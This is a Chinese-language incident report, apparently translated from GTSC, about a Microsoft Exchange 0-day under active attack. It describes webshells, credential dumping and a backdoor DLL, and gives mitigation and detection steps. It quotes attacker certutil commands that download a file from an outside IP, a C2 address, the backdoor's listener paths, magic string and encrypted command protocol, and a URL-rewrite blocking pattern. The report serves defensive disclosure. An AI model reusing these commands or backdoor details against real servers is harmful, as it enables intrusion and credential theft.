.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
8月初，在執行安全監控和事件響應服務時，GTSC SOC團隊發現一個關鍵基礎架構受到攻擊，經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間，GTSC Blue Team專家確定，攻擊者利用了一個未公開的Exchange安全0 day 漏洞，因此立即制定了臨時緩解計劃。與此同時，安全專家開始研究和調試Exchange反編譯代碼，以查找漏洞並利用代碼。經分析，該漏洞非常嚴重，使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI)，以便與微軟合作，盡快準備修補程序。 ZDI驗證並確認了2個漏洞，CVSS評分分別為8.8和6.3。
不過截至目前，修復程序還未發布，GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試，研究人員確認這些系統正受到此0 day零日漏洞的攻擊。
漏洞信息在為客戶提供SOC服務時，GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示：
研究人員還檢查了其他日誌，發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新，因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後，他們對為什麼漏洞利用請求與ProxyShell bug類似？ RCE是如何實施的？等問題進行了研究。
經過分析，研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而，處於安全考慮，目前我們還不想發布該漏洞的技術細節。
利用後（Post-exploit）活動在追踪到有關攻擊示例後，研究人員開始收集信息並在受害者的系統中建立一個立足點。另外，攻擊者還使用各種技術在受影響的系統上創建後門，並對系統中的其他服務器執行橫向移動。
Webshell我們檢測到Webshell被丟棄到Exchange服務器，其中大部分是模糊的。通過用戶代理，我們檢測到攻擊者使用了Antsword，這是一個基於中文的開源跨平台網站管理工具，支持webshell管理。
另一個值得注意的特點是，攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。
在另一個客戶的事件響應過程中，GTSC注意到攻擊組織使用了另一個webshell模板。
Filename:errorEE.aspx
SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257
Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外，攻擊者還通過certutil下載文件並檢查連接，certutil是Windows環境中可用的合法工具。
“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]
'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是，每個命令都以字符串echo[S]cdecho[E]結尾。
此外，攻擊者還將惡意DLL注入內存，在受攻擊的服務器上釋放可疑文件，並通過WMIC執行這些文件。
可疑文件在服務器上，研究人員檢測到exe和dll格式的可疑文件：
在可疑文件中，根據服務器上執行的命令，研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後，攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是，在響應過程中，上述文件在受攻擊的系統中不再存在，可能是由於攻擊者刪除了證據。
被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。
惡意軟件分析DLL信息
文件名：Dll.Dll
Sha256:
074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3
c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為，其他DLL樣本有類似的任務和行為，只是偵聽器配置不同。
DLL由兩個類組成：Run和m，每個類都調用執行不同任務的方法。具體地說：
Run類創建一個偵聽器，偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。
偵聽後，惡意軟件創建一個調用r的新線程。方法r執行以下操作：
1.檢查接收到的請求正文中是否有數據，如果沒有，則返回結果404。
2.相反，如果請求包含數據，DLL將繼續處理if分支內的流：
檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是，調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果：
m類方法i可以：
1.使用AES算法對收到的請求進行解密，其中請求的前16個字節是IV值，後16個字節為key值，其餘為數據。
2.解碼後，獲取數組中的第一個元素作為標誌，以處理定義的情況，處理定義的情況如下：
示例1：調用方法info。該方法主要負責收集系統信息，比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送：前16字節是IV值，後16字節是key值，後面是一個指定選項的標誌，其餘是數據。
base64 (IV | key | aes(flag|data))
示例2：調用方法sc，調用sc方法，該方法負責分配內存來實現shellcode。
示例3：調用兩個方法p和r。方法p處理由“|”字符分隔的數據，保存到數組array3。數組array 3將前兩個元素作為方法r的參數，該方法負責執行命令。
示例4：調用方法ld，該方法負責以以下這種格式列出目錄和文件信息：
示例5：調用方法wf，該方法負責寫入文件：
示例6：調用方法rf，該方法負責讀取文件：
示例7：創建文件夾；
示例8：刪除文件或文件夾；
示例9：移動文件；
示例10：設置文件時間；
示例11：加載並執行從請求接收的C#字節碼。
其他DLL示例具有類似的任務，只是偵聽器配置不同，如下所示：
Victim 1:
https://*:443/ews/web/webconfig/
https://*:443/owa/auth/webcccsd/
https://*:444/ews/auto/
https://*:444/ews/web/api/
Victim 2:
http://*:80/owa/auth/Current/script/
https://*:443/owa/auth/Current/script/
GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據，其中密鑰將在運行時生成。
臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外，可能還有許多其他組織被利用，但尚未被發現。在等待正式補丁的同時，GTSC提供了一個臨時緩解措施，通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求，從而緩解攻擊。
在前端自動發現中，選擇選項卡“URL重寫”，選擇“請求阻止”
將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑：
條件輸入：選擇{REQUEST_URI}：
我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施，以避免潛在的攻擊。
檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用，GTSC發布了掃描IIS日誌文件的指南和工具（默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中）：
方法1：使用powershell命令：
方法2：使用GTSC開發的工具：基於漏洞簽名，我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接：https://github.com/ncsgroupvn/NCSE0Scanner。